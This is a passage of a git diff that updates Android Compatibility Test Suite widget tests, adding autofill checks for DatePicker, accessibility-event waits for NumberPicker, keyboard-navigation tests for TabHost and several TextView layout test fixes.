diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
index a45ac2b..b3c10e3 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
@@ -19,6 +19,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.mockito.Mockito.any;
import static org.mockito.Mockito.anyInt;
@@ -38,6 +39,7 @@
import android.support.test.runner.AndroidJUnit4;
import android.util.SparseArray;
import android.view.View;
+import android.view.autofill.AutofillValue;
import android.widget.DatePicker;
import org.junit.Before;
@@ -47,6 +49,7 @@
import java.util.Calendar;
import java.util.GregorianCalendar;
+import java.util.concurrent.atomic.AtomicInteger;
/**
* Test {@link DatePicker}.
@@ -88,13 +91,22 @@
@UiThreadTest
@Test
public void testSetEnabled() {
- assertTrue(mDatePickerCalendarMode.isEnabled());
+ verifySetEnabled(mDatePickerSpinnerMode);
+ verifySetEnabled(mDatePickerCalendarMode);
+ }
- mDatePickerCalendarMode.setEnabled(false);
- assertFalse(mDatePickerCalendarMode.isEnabled());
+ private void verifySetEnabled(DatePicker datePicker) {
+ assertTrue(datePicker.isEnabled());
- mDatePickerCalendarMode.setEnabled(true);
- assertTrue(mDatePickerCalendarMode.isEnabled());
+ datePicker.setEnabled(false);
+ assertFalse(datePicker.isEnabled());
+ assertNull(datePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_NONE, datePicker.getAutofillType());
+
+ datePicker.setEnabled(true);
+ assertTrue(datePicker.isEnabled());
+ assertNotNull(datePicker.getAutofillValue());
+ assertEquals(View.AUTOFILL_TYPE_DATE, datePicker.getAutofillType());
}
private void verifyInit(DatePicker datePicker) {
@@ -102,9 +114,7 @@
mock(DatePicker.OnDateChangedListener.class);
datePicker.init(2000, 10, 15, mockDateChangeListener);
- assertEquals(2000, datePicker.getYear());
- assertEquals(10, datePicker.getMonth());
- assertEquals(15, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2000, 10, 15);
verifyZeroInteractions(mockDateChangeListener);
}
@@ -121,16 +131,12 @@
mock(DatePicker.OnDateChangedListener.class);
datePicker.init(2000, 10, 15, mockDateChangeListener);
- assertEquals(2000, datePicker.getYear());
- assertEquals(10, datePicker.getMonth());
- assertEquals(15, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2000, 10, 15);
verify(mockDateChangeListener, never()).onDateChanged(any(DatePicker.class), anyInt(),
anyInt(), anyInt());
datePicker.updateDate(1989, 9, 19);
- assertEquals(1989, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(19, datePicker.getDayOfMonth());
+ assertValues(datePicker, 1989, 9, 19);
verify(mockDateChangeListener, times(1)).onDateChanged(datePicker, 1989, 9, 19);
verifyNoMoreInteractions(mockDateChangeListener);
@@ -151,17 +157,13 @@
datePicker.init(2000, 10, 15, mockDateChangeListener1);
datePicker.updateDate(1989, 9, 19);
- assertEquals(1989, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(19, datePicker.getDayOfMonth());
+ assertValues(datePicker, 1989, 9, 19);
verify(mockDateChangeListener1, times(1)).onDateChanged(datePicker, 1989, 9, 19);
verify(mockDateChangeListener2, times(0)).onDateChanged(datePicker, 1989, 9, 19);
datePicker.setOnDateChangedListener(mockDateChangeListener2);
datePicker.updateDate(2000, 10, 15);
- assertEquals(2000, datePicker.getYear());
- assertEquals(10, datePicker.getMonth());
- assertEquals(15, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2000, 10, 15);
verify(mockDateChangeListener1, times(0)).onDateChanged(datePicker, 2000, 10, 15);
verify(mockDateChangeListener2, times(1)).onDateChanged(datePicker, 2000, 10, 15);
}
@@ -175,9 +177,7 @@
private void verifyUpdateDate(DatePicker datePicker) {
datePicker.updateDate(1989, 9, 19);
- assertEquals(1989, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(19, datePicker.getDayOfMonth());
+ assertValues(datePicker, 1989, 9, 19);
}
@UiThreadTest
@@ -295,12 +295,64 @@
datePicker.setId(99);
assertFalse(datePicker.hasCalledOnRestoreInstanceState());
datePicker.dispatchRestoreInstanceState(container);
- assertEquals(2008, datePicker.getYear());
- assertEquals(9, datePicker.getMonth());
- assertEquals(10, datePicker.getDayOfMonth());
+ assertValues(datePicker, 2008, 9, 10);
assertTrue(datePicker.hasCalledOnRestoreInstanceState());
}
+ @UiThreadTest
+ @Test
+ public void testAutofill() {
+ verifyAutofill(mDatePickerSpinnerMode);
+ verifyAutofill(mDatePickerCalendarMode);
+ }
+
+ private void verifyAutofill(DatePicker datePicker) {
+ datePicker.setEnabled(true);
+
+ final AtomicInteger numberOfListenerCalls = new AtomicInteger();
+ datePicker.setOnDateChangedListener(
+ (v, y, m, d) -> numberOfListenerCalls.incrementAndGet());
+
+ final Calendar calendar = new GregorianCalendar();
+ calendar.set(2012, Calendar.DECEMBER, 21);
+
+ final AutofillValue autofilledValue = AutofillValue.forDate(calendar.getTimeInMillis());
+ datePicker.autofill(autofilledValue);
+ assertEquals(autofilledValue, datePicker.getAutofillValue());
+ assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+ assertEquals(1, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is null.
+ numberOfListenerCalls.set(0);
+ datePicker.autofill((AutofillValue) null);
+ assertEquals(autofilledValue, datePicker.getAutofillValue());
+ assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+ assertEquals(datePicker.getAutofillValue(), autofilledValue);
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure autofill() is ignored when value is not a date.
+ numberOfListenerCalls.set(0);
+ datePicker.autofill(AutofillValue.forText("Y U NO IGNORE ME?"));
+ assertEquals(autofilledValue, datePicker.getAutofillValue());
+ assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+ assertEquals(datePicker.getAutofillValue(), autofilledValue);
+ assertEquals(0, numberOfListenerCalls.get());
+
+ // Make sure getAutofillValue() is reset when value is manually filled.
+ datePicker.autofill(autofilledValue); // 2012-12-21
+ datePicker.updateDate(2000, Calendar.JANUARY, 1);
+ calendar.setTimeInMillis(datePicker.getAutofillValue().getDateValue());
+ assertEquals(2000, calendar.get(Calendar.YEAR));
+ assertEquals(Calendar.JANUARY, calendar.get(Calendar.MONTH));
+ assertEquals(1, calendar.get(Calendar.DAY_OF_MONTH));
+ }
+
+ private void assertValues(DatePicker datePicker, int year, int month, int dayOfMonth) {
+ assertEquals(year, datePicker.getYear());
+ assertEquals(month, datePicker.getMonth());
+ assertEquals(dayOfMonth, datePicker.getDayOfMonth());
+ }
+
private class MockDatePicker extends DatePicker {
private boolean mCalledOnSaveInstanceState = false;
private boolean mCalledOnRestoreInstanceState = false;
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 9785b1f..9cb9903 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -23,7 +23,9 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
+import android.app.Instrumentation;
import android.content.Context;
+import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
@@ -51,6 +53,7 @@
private EditText mEditText1;
private EditText mEditText2;
private AttributeSet mAttributeSet;
+ private Instrumentation mInstrumentation;
@Rule
public ActivityTestRule<EditTextCtsActivity> mActivityRule =
@@ -58,6 +61,7 @@
@Before
public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
mEditText1 = (EditText) mActivity.findViewById(R.id.edittext_simple1);
mEditText2 = (EditText) mActivity.findViewById(R.id.edittext_simple2);
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 2a7e899..6640cc4 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -28,6 +28,7 @@
import static org.mockito.Mockito.verifyZeroInteractions;
import android.app.Instrumentation;
+import android.app.UiAutomation;
import android.content.res.Configuration;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
@@ -35,6 +36,7 @@
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
+import android.view.accessibility.AccessibilityEvent;
import android.widget.NumberPicker;
import com.android.compatibility.common.util.CtsTouchUtils;
@@ -51,8 +53,10 @@
private static final String[] NUMBER_NAMES3 = {"One", "Two", "Three"};
private static final String[] NUMBER_NAMES_ALT3 = {"Three", "Four", "Five"};
private static final String[] NUMBER_NAMES5 = {"One", "Two", "Three", "Four", "Five"};
+ private static final long TIMEOUT_ACCESSIBILITY_EVENT = 5 * 1000;
private Instrumentation mInstrumentation;
+ private UiAutomation mUiAutomation;
private NumberPickerCtsActivity mActivity;
private NumberPicker mNumberPicker;
@@ -63,6 +67,7 @@
@Before
public void setup() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mUiAutomation = mInstrumentation.getUiAutomation();
mActivity = mActivityRule.getActivity();
mNumberPicker = (NumberPicker) mActivity.findViewById(R.id.number_picker);
}
@@ -261,32 +266,43 @@
mNumberPicker.getDisplayedValueForCurrentSelection()));
}
- @UiThreadTest
@Test
- public void testAccessValue() {
- mNumberPicker.setMinValue(20);
- mNumberPicker.setMaxValue(22);
- mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
-
+ public void testAccessValue() throws Throwable {
final NumberPicker.OnValueChangeListener mockValueChangeListener =
mock(NumberPicker.OnValueChangeListener.class);
- mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
- mNumberPicker.setValue(21);
- assertEquals(21, mNumberPicker.getValue());
+ mInstrumentation.runOnMainSync(() -> {
+ mNumberPicker.setMinValue(20);
+ mNumberPicker.setMaxValue(22);
+ mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
- mNumberPicker.setValue(20);
- assertEquals(20, mNumberPicker.getValue());
+ mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
+ });
- mNumberPicker.setValue(22);
- assertEquals(22, mNumberPicker.getValue());
+ mInstrumentation.runOnMainSync(() -> {
+ mNumberPicker.setValue(21);
+ assertEquals(21, mNumberPicker.getValue());
+ });
- // Check trying to set value out of min/max range
- mNumberPicker.setValue(10);
- assertEquals(20, mNumberPicker.getValue());
+ mUiAutomation.executeAndWaitForEvent(() ->
+ mInstrumentation.runOnMainSync(() -> mNumberPicker.setValue(20)),
+ (AccessibilityEvent event) ->
+ event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
+ TIMEOUT_ACCESSIBILITY_EVENT);
- mNumberPicker.setValue(100);
- assertEquals(22, mNumberPicker.getValue());
+ mInstrumentation.runOnMainSync(() -> {
+ assertEquals(20, mNumberPicker.getValue());
+
+ mNumberPicker.setValue(22);
+ assertEquals(22, mNumberPicker.getValue());
+
+ // Check trying to set value out of min/max range
+ mNumberPicker.setValue(10);
+ assertEquals(20, mNumberPicker.getValue());
+
+ mNumberPicker.setValue(100);
+ assertEquals(22, mNumberPicker.getValue());
+ });
// Since all changes to value are via API calls, we should have no interactions /
// callbacks on our listener.
@@ -370,11 +386,15 @@
final int[] numberPickerLocationOnScreen = new int[2];
mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
- CtsTouchUtils.emulateDragGesture(mInstrumentation,
- numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
- numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
- 0,
- - (mNumberPicker.getHeight() - 2));
+ mUiAutomation.executeAndWaitForEvent(() ->
+ CtsTouchUtils.emulateDragGesture(mInstrumentation,
+ numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+ numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
+ 0,
+ -(mNumberPicker.getHeight() - 2)),
+ (AccessibilityEvent event) ->
+ event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED,
+ TIMEOUT_ACCESSIBILITY_EVENT);
// At this point we expect that the drag-up gesture has selected the value
// that was "below" the previously selected one, and that our value change listener
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index a9b5a13..330a92a 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -47,6 +47,7 @@
import android.transition.Transition.TransitionListener;
import android.transition.TransitionValues;
import android.util.AttributeSet;
+import android.util.DisplayMetrics;
import android.view.Display;
import android.view.Gravity;
import android.view.MotionEvent;
@@ -1426,6 +1427,16 @@
@Test
public void testAnchorInPopup() throws Throwable {
+ DisplayMetrics displayMetrics = mActivity.getResources().getDisplayMetrics();
+ float dpWidth = displayMetrics.widthPixels / displayMetrics.density;
+ float dpHeight = displayMetrics.heightPixels / displayMetrics.density;
+ final int minDisplaySize = 320;
+ if (dpWidth < minDisplaySize || dpHeight < minDisplaySize) {
+ // On smaller screens the popups that this test is creating
+ // are not guaranteed to be properly aligned to their anchors.
+ return;
+ }
+
mPopupWindow = createPopupWindow(
mActivity.getLayoutInflater().inflate(R.layout.popup_window, null));
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
index bebebf2..76415e8 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
@@ -359,6 +359,33 @@
assertTrue(button.getHeight() > 0);
}
+ @Test
+ public void testBidiWidth() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ mActivity.setContentView(R.layout.relative_layout_bidi);
+ mActivity.findViewById(R.id.relative_sublayout_bidi)
+ .setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View ltrLayout = mActivity.findViewById(R.id.relative_sublayout_bidi);
+ assertNotNull(ltrLayout);
+ final int ltrWidth = ltrLayout.getWidth();
+
+ mActivityRule.runOnUiThread(() -> {
+ mActivity.setContentView(R.layout.relative_layout_bidi);
+ mActivity.findViewById(R.id.relative_sublayout_bidi)
+ .setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final View rtlLayout = mActivity.findViewById(R.id.relative_sublayout_bidi);
+ assertNotNull(rtlLayout);
+ final int rtlWidth = rtlLayout.getWidth();
+
+ assertEquals(ltrWidth, rtlWidth);
+ }
+
private class MyRelativeLayout extends RelativeLayout {
public MyRelativeLayout(Context context) {
super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/TabHostTest.java b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
index 765fd37..36f7108 100644
--- a/tests/tests/widget/src/android/widget/cts/TabHostTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabHostTest.java
@@ -35,6 +35,7 @@
import android.support.test.filters.SmallTest;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
import android.view.View;
import android.widget.ListView;
import android.widget.TabHost;
@@ -395,6 +396,49 @@
assertEquals(TAG_TAB2, tabHost.getCurrentTabTag());
}
+ @Test
+ public void testKeyboardNavigation() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ mActivity.setContentView(R.layout.tabhost_focus);
+ TabHost tabHost = mActivity.findViewById(android.R.id.tabhost);
+ tabHost.setup();
+ TabSpec spec = tabHost.newTabSpec("Tab 1");
+ spec.setContent(R.id.tab1);
+ spec.setIndicator("Tab 1");
+ tabHost.addTab(spec);
+ spec = tabHost.newTabSpec("Tab 2");
+ spec.setContent(R.id.tab2);
+ spec.setIndicator("Tab 2");
+ tabHost.addTab(spec);
+ View topBut = mActivity.findViewById(R.id.before_button);
+ topBut.requestFocus();
+ assertTrue(topBut.isFocused());
+ });
+ mInstrumentation.waitForIdleSync();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+ View tabs = mActivity.findViewById(android.R.id.tabs);
+ assertTrue(tabs.hasFocus());
+ View firstTab = tabs.findFocus();
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+ assertTrue(tabs.hasFocus());
+ int[] shiftKey = new int[]{KeyEvent.KEYCODE_SHIFT_LEFT};
+ sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+ assertTrue(tabs.hasFocus());
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+ assertTrue(tabs.hasFocus());
+
+ // non-navigation sends focus to content
+ mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_E);
+ assertTrue(mActivity.findViewById(R.id.tab1_button).isFocused());
+ sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+ assertTrue(tabs.hasFocus());
+
+ mActivityRule.runOnUiThread(() -> firstTab.requestFocus());
+ mInstrumentation.waitForIdleSync();
+ sendKeyComboSync(KeyEvent.KEYCODE_TAB, shiftKey);
+ assertTrue(mActivity.findViewById(R.id.before_button).isFocused());
+ }
+
private class MyTabContentFactoryText implements TabHost.TabContentFactory {
public View createTabContent(String tag) {
final TextView tv = new TextView(mActivity);
@@ -409,4 +453,48 @@
return lv;
}
}
+
+ private static int metaFromKey(int keyCode) {
+ switch(keyCode) {
+ case KeyEvent.KEYCODE_ALT_LEFT: return KeyEvent.META_ALT_LEFT_ON;
+ case KeyEvent.KEYCODE_ALT_RIGHT: return KeyEvent.META_ALT_RIGHT_ON;
+ case KeyEvent.KEYCODE_SHIFT_LEFT: return KeyEvent.META_SHIFT_LEFT_ON;
+ case KeyEvent.KEYCODE_SHIFT_RIGHT: return KeyEvent.META_SHIFT_RIGHT_ON;
+ case KeyEvent.KEYCODE_CTRL_LEFT: return KeyEvent.META_CTRL_LEFT_ON;
+ case KeyEvent.KEYCODE_CTRL_RIGHT: return KeyEvent.META_CTRL_RIGHT_ON;
+ case KeyEvent.KEYCODE_META_LEFT: return KeyEvent.META_META_LEFT_ON;
+ case KeyEvent.KEYCODE_META_RIGHT: return KeyEvent.META_META_RIGHT_ON;
+ }
+ return 0;
+ }
+
+ /**
+ * High-level method for sending a chorded key-combo (modifiers + key). This will send all the
+ * down and up key events as a user would press them (ie. all the modifiers get their own
+ * down and up events).
+ *
+ * @param keyCode The keycode to send while all meta keys are pressed.
+ * @param metaKeys An array of meta key *keycodes* (not modifiers).
+ */
+ private void sendKeyComboSync(int keyCode, int[] metaKeys) {
+ int metaState = 0;
+ if (metaKeys != null) {
+ for (int mk = 0; mk < metaKeys.length; ++mk) {
+ metaState |= metaFromKey(metaKeys[mk]);
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, metaKeys[mk],
+ 0, KeyEvent.normalizeMetaState(metaState)));
+ }
+ }
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, keyCode, 0,
+ KeyEvent.normalizeMetaState(metaState)));
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_UP, keyCode, 0,
+ KeyEvent.normalizeMetaState(metaState)));
+ if (metaKeys != null) {
+ for (int mk = 0; mk < metaKeys.length; ++mk) {
+ metaState &= ~metaFromKey(metaKeys[mk]);
+ mInstrumentation.sendKeySync(new KeyEvent(0, 0, KeyEvent.ACTION_UP, metaKeys[mk], 0,
+ KeyEvent.normalizeMetaState(metaState)));
+ }
+ }
+ }
}
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index c798a0e..7af7af9 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -23,8 +23,10 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
+import android.app.Instrumentation;
import android.content.Context;
import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.MediumTest;
import android.support.test.rule.ActivityTestRule;
@@ -52,6 +54,7 @@
public class TabWidgetTest {
private TabHostCtsActivity mActivity;
private TabWidget mTabWidget;
+ private Instrumentation mInstrumentation;
@Rule
public ActivityTestRule<TabHostCtsActivity> mActivityRule =
@@ -59,6 +62,7 @@
@Before
public void setup() {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
mActivity = mActivityRule.getActivity();
mTabWidget = mActivity.getTabWidget();
}
@@ -289,38 +293,55 @@
assertFalse(mTabWidget.isStripEnabled());
}
- @UiThreadTest
@Test
- public void testStripDrawables() {
+ public void testStripDrawables() throws Throwable {
+ mTabWidget.setStripEnabled(true);
+
// Test setting left strip drawable
- mTabWidget.setLeftStripDrawable(R.drawable.icon_green);
+ mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(R.drawable.icon_green));
Drawable leftStripDrawable = mTabWidget.getLeftStripDrawable();
assertNotNull(leftStripDrawable);
TestUtils.assertAllPixelsOfColor("Left strip green", leftStripDrawable,
leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
true, 0xFF00FF00, 1, false);
- mTabWidget.setLeftStripDrawable(mActivity.getDrawable(R.drawable.icon_red));
+ mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(
+ mActivity.getDrawable(R.drawable.icon_red)));
leftStripDrawable = mTabWidget.getLeftStripDrawable();
assertNotNull(leftStripDrawable);
TestUtils.assertAllPixelsOfColor("Left strip red", leftStripDrawable,
leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
true, 0xFFFF0000, 1, false);
+ mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(null));
+ leftStripDrawable = mTabWidget.getLeftStripDrawable();
+ assertNull(leftStripDrawable);
+
+ // Wait for draw.
+ mInstrumentation.waitForIdleSync();
+
// Test setting right strip drawable
- mTabWidget.setRightStripDrawable(R.drawable.icon_red);
+ mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(R.drawable.icon_red));
Drawable rightStripDrawable = mTabWidget.getRightStripDrawable();
assertNotNull(rightStripDrawable);
TestUtils.assertAllPixelsOfColor("Right strip red", rightStripDrawable,
rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
true, 0xFFFF0000, 1, false);
- mTabWidget.setRightStripDrawable(mActivity.getDrawable(R.drawable.icon_green));
+ mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(
+ mActivity.getDrawable(R.drawable.icon_green)));
rightStripDrawable = mTabWidget.getRightStripDrawable();
assertNotNull(rightStripDrawable);
TestUtils.assertAllPixelsOfColor("Left strip green", rightStripDrawable,
rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
true, 0xFF00FF00, 1, false);
+
+ mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(null));
+ rightStripDrawable = mTabWidget.getRightStripDrawable();
+ assertNull(rightStripDrawable);
+
+ // Wait for draw.
+ mInstrumentation.waitForIdleSync();
}
@UiThreadTest
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index b87a36f..367ed40 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -26,7 +26,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.mockito.Matchers.any;
-import static org.mockito.Matchers.anyInt;
import static org.mockito.Matchers.eq;
import static org.mockito.Matchers.refEq;
import static org.mockito.Mockito.doAnswer;
@@ -188,6 +187,19 @@
private static final int SMARTSELECT_START = 0;
private static final int SMARTSELECT_END = 40;
+ private static final TextClassifier FAKE_TEXT_CLASSIFIER = new TextClassifier() {
+ @Override
+ public TextSelection suggestSelection(
+ CharSequence text, int start, int end, LocaleList locales) {
+ return new TextSelection.Builder(SMARTSELECT_START, SMARTSELECT_END).build();
+ }
+
+ @Override
+ public TextClassification classifyText(
+ CharSequence text, int start, int end, LocaleList locales) {
+ return new TextClassification.Builder().build();
+ }
+ };
private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
private CharSequence mTransformedText;
@@ -982,6 +994,30 @@
}
@Test
+ public void testSetMaxLines_toZero_shouldNotDisplayAnyLines() throws Throwable {
+ mTextView = findTextView(R.id.textview_text);
+ mActivityRule.runOnUiThread(() -> {
+ mTextView.setPadding(0, 0, 0, 0);
+ mTextView.setText("Single");
+ mTextView.setMaxLines(0);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ final int expectedHeight = mTextView.getTotalPaddingBottom()
+ + mTextView.getTotalPaddingTop();
+
+ assertEquals(expectedHeight, mTextView.getHeight());
+
+ mActivityRule.runOnUiThread(() -> mTextView.setText("Two\nLines"));
+ mInstrumentation.waitForIdleSync();
+ assertEquals(expectedHeight, mTextView.getHeight());
+
+ mActivityRule.runOnUiThread(() -> mTextView.setTextIsSelectable(true));
+ mInstrumentation.waitForIdleSync();
+ assertEquals(expectedHeight, mTextView.getHeight());
+ }
+
+ @Test
public void testWidth() throws Throwable {
mTextView = findTextView(R.id.textview_text);
int originalWidth = mTextView.getWidth();
@@ -3580,7 +3616,8 @@
mActivityRule.runOnUiThread(() -> mActivity.setContentView(layout));
mInstrumentation.waitForIdleSync();
- final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+ final float horizontalPosFix = (float) Math.ceil(
+ mTextView.getPaint().measureText("a") * 2f / 3f);
final int paddingTop = mTextView.getTotalPaddingTop();
final int paddingLeft = mTextView.getTotalPaddingLeft();
@@ -3594,7 +3631,7 @@
assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
// right edge of text
- x = mTextView.getLayout().getLineWidth(0) + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(0) + paddingLeft - horizontalPosFix;
assertEquals(lastOffset, mTextView.getOffsetForPosition(x, y));
// right edge of view
@@ -3606,7 +3643,7 @@
assertEquals(firstOffset, mTextView.getOffsetForPosition(x, y));
// horizontal center of text
- x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(0) / 2f + paddingLeft - horizontalPosFix;
assertEquals(midOffset, mTextView.getOffsetForPosition(x, y));
}
@@ -3640,7 +3677,8 @@
final Rect lineBounds = new Rect();
mTextView.getLayout().getLineBounds(0, lineBounds);
- final float halfCharWidth = (float) Math.ceil(mTextView.getPaint().measureText("a") / 2f);
+ final float horizontalPosFix = (float) Math.ceil(
+ mTextView.getPaint().measureText("a") * 2f / 3f);
final int paddingTop = mTextView.getTotalPaddingTop();
final int paddingLeft = mTextView.getTotalPaddingLeft();
@@ -3662,7 +3700,7 @@
assertEquals(line.length(), mTextView.getOffsetForPosition(x, y));
// right edge of text at second line
- x = mTextView.getLayout().getLineWidth(1) + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(1) + paddingLeft - horizontalPosFix;
assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
// right edge of view at second line
@@ -3670,7 +3708,7 @@
assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
// horizontal center of text at second line
- x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - halfCharWidth;
+ x = mTextView.getLayout().getLineWidth(1) / 2f + paddingLeft - horizontalPosFix;
// second line mid offset should not include next line, therefore subtract one
assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
}
@@ -3705,8 +3743,8 @@
final Rect lineBounds = new Rect();
mTextView.getLayout().getLineBounds(0, lineBounds);
- final float halfCharWidth = (float) Math.ceil(
- mTextView.getPaint().measureText("\u0635") / 2f);
+ final float horizontalPosFix = (float) Math.ceil(
+ mTextView.getPaint().measureText("\u0635") * 2f / 3f);
final int paddingTop = mTextView.getTotalPaddingTop();
final int paddingRight = mTextView.getTotalPaddingRight();
@@ -3733,12 +3771,12 @@
// left edge of text at second line
x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) + paddingRight
- - halfCharWidth);
+ - horizontalPosFix);
assertEquals(line.length() + line.length() - 1, mTextView.getOffsetForPosition(x, y));
// horizontal center of text at second line
x = mTextView.getWidth() - (mTextView.getLayout().getLineWidth(1) / 2f + paddingRight
- - halfCharWidth);
+ - horizontalPosFix);
// second line mid offset should not include next line, therefore subtract one
assertEquals(line.length() + (line.length() - 1) / 2, mTextView.getOffsetForPosition(x, y));
}
@@ -6786,6 +6824,31 @@
}
@Test
+ public void testAutoSizeCallers_setTransformationMethod() throws Throwable {
+ final TextView autoSizeTextView = prepareAndRetrieveAutoSizeTestData(
+ R.id.textview_autosize_uniform, false);
+ // Mock transformation method to return the duplicated input text in order to measure
+ // auto-sizing.
+ TransformationMethod duplicateTextTransformationMethod = mock(TransformationMethod.class);
+ when(duplicateTextTransformationMethod
+ .getTransformation(any(CharSequence.class), any(View.class)))
+ .thenAnswer(invocation -> {
+ CharSequence source = (CharSequence) invocation.getArguments()[0];
